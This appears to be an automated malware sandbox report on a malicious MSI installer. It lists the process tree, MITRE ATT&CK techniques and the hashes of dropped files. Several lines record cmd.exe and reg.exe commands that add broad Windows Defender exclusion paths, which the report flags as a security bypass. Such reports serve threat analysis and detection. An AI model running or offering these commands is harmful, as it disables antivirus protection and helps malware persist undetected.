C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z7Pi8a" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z7Pi8a" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:860
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:3020
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:452
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4912
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4076
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2340
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e58605c.rbs
- Size 7KB
- SHA256 c1ae3874620ecffe23314b1a62975802d01f8a5a83f6892a1bb461d2302eddd1
- MD5 8fe5357ebe36ce33a5d8cffb637fb39c
- SHA1 8b88ffca3689101a13d1aa343d00c81cf492a7c5
- SHA512 20f2fb8833a3284999993b3cf312f753d3ad4e8f3bfb6b7caaa0e5e4a45136a35e306632f6e39ade9e24959e1f1b2a14e0f55fbbe53a69ec425ee05779195821
- SSDEEP 96:1tyuuTseaPPPaUUTm1CsThq5UTm1C6joXPxtThqxHIS5ivW1EVbICCKpljAu48jV:1xezzSIIXSIbMkWBKpn
- TLSH T162F10C42AB00D6F3EF861F75C713176637B2E3E99220174F089D88601F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z7Pi8a\UxEnhance64.dll
- Size 3.1MB
- SHA256 09c6dda753a408092c86d8680f5c737bf0493ccd1c0eca23e03e637132379a58
- MD5 023e1502539efbe132cef102aee4b89c
- SHA1 695358e7e17e972ba5aebcdd02e34709dcc58407
- SHA512 1990e39c7f304326df9d0794642fec0932796fed93db73ce517aa099acb4c8af76f37d06cab79cb6d3696b74a54977d9174ed77c8c817468c0f2991ef53d8a40
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+3:P9m29xx3Tiqt06ox6+z2rNNrKo3
- TLSH T1D2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z7Pi8a\adoresd.dat
- Size 4.7MB
- SHA256 982fd50f0a77885411b17e462411b58f24a458df713e8e319666d5f17b5910a5
- MD5 695c07a918988ed6325aa89e27732616
- SHA1 ecbe6b6f17236e8541ca420666acd3be52d46b39
- SHA512 ac58cefa9472a4915569bfd17cb894fe936b86acd7d4868525817ee9a166a216d92a6ce7b0bc7da544d22f8b139993e29666a1291242cdfd78673424f495c46a
- SSDEEP 98304:Bmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Uu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1A83633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z7Pi8a\msadox.tb
- Size 8KB
- SHA256 6da079e81fb3af47bd408be490d9a2ba165ba7b6fc23f25fc181c4446f76346f
- MD5 1d9ddcfaa3c19687b39045bc18fa9d6d
- SHA1 53230018ab7611c5bc3c8f54b8d0f368d804751f
- SHA512 8293f6b17c744f446a317d74367d50b53bdb2b73ded4cb8d4fd5241d150cbceaed8e6619f2ec71bad3266dfc38e721891c0bc37238f20a270c9e5cdd536b831f
- SSDEEP 192:7qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:7sZqZOXQ3uqvR2Kfzp
- TLSH T110029E05D7A20CC3E2116C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z7Pi8a\vXyhpx.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI6221.tmp
- Size 9.6MB
- SHA256 aae39fcc881194e10f4b05bdb8d4fb1d2535654c52f77c527c72b9c1bdbc0747
- MD5 6e259c741d601fb53106da8108f4a9f8
- SHA1 01762971c668fb8f132654a8e600228fab3e1c7f
- SHA512 7c5a1f062ff5f9d45fe5933b31fa9e4ddea7f720bc64a385bb2f894c138040ef8013ede194ea6a8899a59e6dcf2793975c37d697dbc352dec0ea3c3e249f4b63
- SSDEEP 196608:07SnDN9VA2YmcXizV05JMNkNMQ6b7Dds/RQvEDUQPyb5AL:NDa2ZiizsJZGbC/uEV6bCL
- TLSH T12EA633E8689BB3B8D09BC3B0C26278AE712D7BC77D6F9D067BF817401D616160076B91
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58605b.msi
- Size 9.6MB
- SHA256 52793c228aafdae94c86e5f71c96ff4fdaca1c95f66e44fddd9d7806f4a51dea
- MD5 84aca7001bf015a483e745bfbb4b868f
- SHA1 71c0eac260e8d794d0b9ce220b1452f637acf13f
- SHA512 8e7fe717a5d47689cd26782319c38ece5e75b4fd7d07634610a31998cd09d9b22fba37fb726fb8375ca021ac6a8a2d3c158115774da94a84f48bce948db0dec0
- SSDEEP 196608:K7SnDN9VA2YmcXizV05J+NkNMQ6b7Dds/RcvEDUQPyb5Al:7Da2ZiizsJzGbC/SEV6bCl
- TLSH T1BFA633D8689A63B8D09BC3B0C153B8AE712D7FC67E6F990677E837401D3172600B6B95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 8886537e27f66901bbef669bcba05989229a096dda399e7e5534352f0919b044
- MD5 b8e1d53cf7d6191be85f10d5ebc293ec
- SHA1 b164d9aa1f5d912f36c2fb1fa6d1003c35fffc13
- SHA512 564a759c9e669447c9c264d57e6460155045d88eb26a60160520070e4cb0d34e6be2544366c569ab784c34b70957ec30c5c429db0dbf12f4c69cd1d4c52cc489
- SSDEEP 24576:Wu8m+1zbdoO/vvTLL2L+ema/qCkTzFbC39md5k6lT0aKusyWYvFCztAhO:W
- TLSH T1F547C52476F92100E7F79E3CACF06A2359397D5B9C19EE8D05411F4E0922BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{4588d6e0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{b309ae0a-d172-4642-ac2f-ccb75b945e7a}_OnDiskSnapshotProp
- Size 6KB
- SHA256 6a59730a1e758a0e55c104a5a6d3245f14d571a511e2161b85c5e44b27ddbf74
- MD5 773ad5048cc9512222f3842b53c9e402
- SHA1 0818200f71c706605d0058af25e9bbc802fa8d36
- SHA512 a511d99061092ebd66d7882bdc3a9c55b8ee15aed2a304019a8460018aabb4ac14af71d14d34728510542040d18ec3ba731b988b9b8eb3abf3477a1726bd8ca3
- SSDEEP 96:FfnBAzs5vc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:NPTb++ZVmN
- TLSH T14AD199085AE54711E2B3AB3129F18557A877B911EF33CB8E0298238E2670A10F975F5F
- MD5 SHA1 SHA512 SSDEEP TLSH